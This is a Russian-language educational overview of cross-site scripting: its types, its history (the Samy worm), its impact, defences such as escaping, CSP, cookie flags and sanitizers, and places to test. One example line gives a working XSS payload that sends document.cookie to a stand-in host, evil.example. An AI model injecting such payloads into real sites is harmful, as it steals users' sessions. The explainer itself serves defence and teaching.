Межсайтовый скриптинг (XSS)

Межсайтовый скриптинг (cross-site scripting, XSS) — внедрение исполняемого кода в страницу, которую видит пользователь. Атакующий не ломает сервер в классическом смысле: он «отравляет» контент или параметры так, что вредоносный JavaScript выполняется в доверенной зоне — на вашем домене.

Термин закрепился вокруг 2000 года: Microsoft использовал формулировку cross-site scripting для атак, где вредоносный сайт заставлял браузер выполнить скрипт в контексте другого домена, злоупотребляя доверием к cookie. С тех пор класс разросся: сегодня выделяют stored (сохранённый), reflected (отражённый) и DOM-based XSS.

Скрипт сохраняется в БД — в комментарии, имени, описании товара, подписи — и выполняется у каждого, кто откроет страницу. Это самый массовый и самый опасный вариант: одна запись может «заразить» тысячи сессий.

Исторический масштаб проблемы показали ранние черви: Samy (2005) использовал stored XSS в MySpace и за сутки собрал более миллиона «друзей» жертв. Ничего «фантастического» — просто нефильтрованный HTML профилей.

• Reflected: полезная нагрузка прилетает в URL/заголовках и немедленно отражается в ответе («загрузчик» письма с ссылкой).
• DOM-based: уязвимость в клиентском коде — innerHTML, document.write, unsafe jQuery-хелперы, postMessage без проверки origin. Сервер вообще может быть «чистым»: браузер сам превращает данные в код.

Форма обратной связи без экранирования. В поле «текст» отправляется фрагмент <img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">. При модерации наивно выводится как HTML — cookie сессии утекает (сwebElement SameSite/HttpOnly снижают урон, но XSS всё ещё позволяет действовать от имени пользователя, менять страницу, подменять формы оплаты).

Бизнес-последствия: кража сессий и 2FA-ключей из sessionStorage, клавиатура (кейлоггинг), подмена реквизитов для перевода, заражение посетителей через drive-by. В 2010-х XSS был главным оружием массовых червей Twitter/Facebook; позже — фоном для скрытого майнинга на посещаемых сайтах.

• Экранирование вывода в соответствии с контекстом (HTML, атрибут, JS-строка, URL). Библиотеки шаблонов, экранирующие по умолчанию — базовая гигиена.
• Content-Security-Policy: запрет inline-скриптов и внешних источников без nonce/hash. CSP не «серебряная пуля», но сильно усложняет эксплуатацию.
• HttpOnly + Secure + SameSite у cookie, короткий TTL сессий, привязка к клиенту для критичных действий.
• Sanitize для rich-text (белый список тегов, например DOMPurify), а не regex «вырезать <script>».
• WAF и мониторинг всплесков 500/подозрительных паттернов — но только как дополнение.

Перебор «горячих» точек: поиск, фильтры, чаты, загрузка файлов, rich-text, личные кабинеты, email-шаблоны. Проверяются оба контекста — HTML и DOM-потоки (React-dangerouslySetInnerHTML, шаблоны, «безобидные» маркеры в hash-параметрах).